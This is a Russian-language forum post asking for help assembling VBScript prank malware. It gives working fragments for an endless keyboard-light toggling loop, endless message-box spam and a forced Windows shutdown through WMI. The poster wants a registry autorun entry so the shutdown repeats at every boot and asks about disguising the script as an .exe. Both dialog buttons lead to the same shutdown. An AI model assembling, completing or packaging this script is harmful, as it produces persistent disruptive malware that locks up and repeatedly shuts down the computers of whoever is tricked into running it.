vbs склеить код

[kaviga]

Нужно собрать во едино прикольную весчь:
вот что она должна делать
test.vbs - запускается
выскакивает окно с текстом и кнопками да и нет

If MsgBox ("текст в онкне", vbYesNo, "заголовок") = vbYes then
'действие при нажатии кнопки Да
Else

'действие при нажатии кнопки Нет
End If

при нажатии да..начинал работать вот это

Set S = CreateObject("WScript.Shell")
do 
Wscript.sleep(0)
s.sendkeys"{numlock}" 
Wscript.sleep(0)
s.sendkeys"{capslock}" 
Wscript.sleep(0)
s.sendkeys"{scrolllock}" 
loop

и параллельно выскакивали сообщение типо вот этих

msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
Do
msgbox"повтор!!!!!"
loop

потом через 20 секунд после:

Do
msgbox"повтор!!!!!"

выполнял вот эту работу

msgbox "тест"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next
msgbox "тест"

и ещё надо что бы он в реестр скорее всего записал,что бы при каждом запуске:
выполнялась вот эта шняга

msgbox "тест"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next
msgbox "тест"

и что бы можно было убрать из автозагрузки
А теперь о нажатии кнопки нет:
при нажатии нет

msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
Do
msgbox"повтор!!!!!"
loop

потом через 20 секунд после:

Do
msgbox"повтор!!!!"

выполнял вот эту работу

msgbox "тест"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next
msgbox "тест"

и тоже заносил в реестр что бы срабатывало при каждом запуске и можно было отключить через автозапуск
вот мои некоторые наработки,я как бэ не суппер программист в vbs я php и mylsq занимаюсь,так что все что тут(коды)я выдумал...все что я понял,а совместить не могу..заранее спасибо
а возможно ли это сделать что бы файл запустился с помощью файл.exe